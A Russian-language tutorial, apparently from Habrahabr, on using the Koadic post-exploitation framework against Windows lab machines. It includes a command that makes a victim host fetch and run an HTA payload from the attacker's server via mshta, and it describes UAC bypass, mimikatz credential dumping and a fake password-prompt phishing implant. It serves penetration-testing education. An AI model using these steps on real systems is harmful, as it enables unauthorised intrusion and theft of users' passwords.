Koadic — как Empire, только без powershell

59ccbe3c23aaa719038646.jpeg

В данном тексте речь пойдет про фреймворк Koadic, предназначенный для проведения пост-эксплуатации в ОС семейства Windows всех поколений, поскольку не требует для своей работы наличия powershell в системе.

Установка и архитектура


Клонируем официальный репозиторий с GitHub.

git clone https://github.com/zerosum0x0/koadic.git


После установки запускаем koadic и попадаем в меню

59cca945d540b601187876.png

По структуре и принципу работы koadic очень похож на Powershell Empire.

Сначала от жертвы требуется выполнить какое-то действие, чтобы мы получили сессию.
Далее используется модуль для преодоления защиты User Acces Control (UAC) и уже после этого запускаются на выполнение другие модули.

Таким образом можно разделить модули Koadic на Stagers и Implants. На скриншоте выше вы можете видеть, что в моей версии доступно 4 стейджера (способ доставки имплантов) и 29 самих имплантов, что и является модулями, которые «делают что-то полезное».

При запуске по-умолчанию выбирается стейджер stager/js/mshta. Этот модуль не будет ничего писать на диск и для запуска имплантов использует .hta скрипты и, соответственно, процесс MSHTA.exe.

Есть и другие стейджеры, например stager/js/rundll32_js, который использует, как и следует из названия rundll32.exe вместо mshta.exe.

Что касаетя имплантов, то здесь у нас довольно большой выбор.

Помимо модулей преодоления UAC нам доступны модули, позволяющие читать содержимое буфера обмена, дампить SAM и NTDS, запускать mimikatz, естественно, выполнять команды в CMD, сканировать хосты в сети на наличие открытых портов и другое.

Полный список стейджеров и имплантов можно посмотреть на официальном сайте.

Примеры использования


После запуска можно выполнить команду help и получить такой список

59ccacf3d1ddc643943901.png

Чтобы посмотреть параметры текущего модуля, нужно выполнить команду info

59ccad3d23972840633622.png

Если нас что-то не устраивает, то можно задать параметр при помощи команды set

59ccad8085b6b968514265.png

Командой run запускаем стейджер.

59ccadabcf2c8762761082.png

Далее жертва должна выполнить команду

mshta http://192.168.1.3:1234/BFIER

Для демонстрации я выбрал старый Windows 2000 (IP 192.168.1.7).
После выполнения команды я получаю сессию в Koadic.

59ccaf073cbab750619934.png

При выполнении той же команды на русифицированной Windows 7 (IP 192.168.2.2) я получил ошибку преобразования ASCII, вероятно из-за русских символов.

59ccaf84af2fa847802868.png

Командой zombie получаем список доступных для пост-эксплуатации хостов.

59ccafcc7b466841190001.png

Чтобы получить более развернутую информацию, добавим ID к команде

59ccb01391c8b417423284.png

Так как это Windows 2000, нам не нужно использовать модули для преодоления UAC. Так что просто попытаемся выполнить команду операционной системы через нашу сессию Koadic.

59ccb0bb8aa51907142298.png

Команда отработала корректно.

Попробуем другой стейджер, например stager/js/regsvr на англоязычной Windows 7

59ccb399309f6480410031.png

После выполнения указанной команды, получаем сессию в Koadic, а далее можем использовать модуль для преодоления защиты UAC

59ccb488c6aaa621923798.png

Далее можно воспользоваться, например mimikatz

59ccb6244c781486199042.png

И получили пароли пользователей.

Есть и более «творческие» импланты, например implant/phish/password_box, который показывает пользователю окно с произвольным текстом и просит, ввести пароль.

59ccb7c8ee96e812841142.png

И получаем в Koadic сообщение

59ccb7de8c742778722953.png

Конечно, на все модули фреймворка работают безотказно, но, тем не менее, его можно использовать как альтернативу Empire, если ситуация того требует, а неработающие модули заменить на серию команд операционной системы, которые нам доступны через рабочие модули Koadic.

© Habrahabr.ru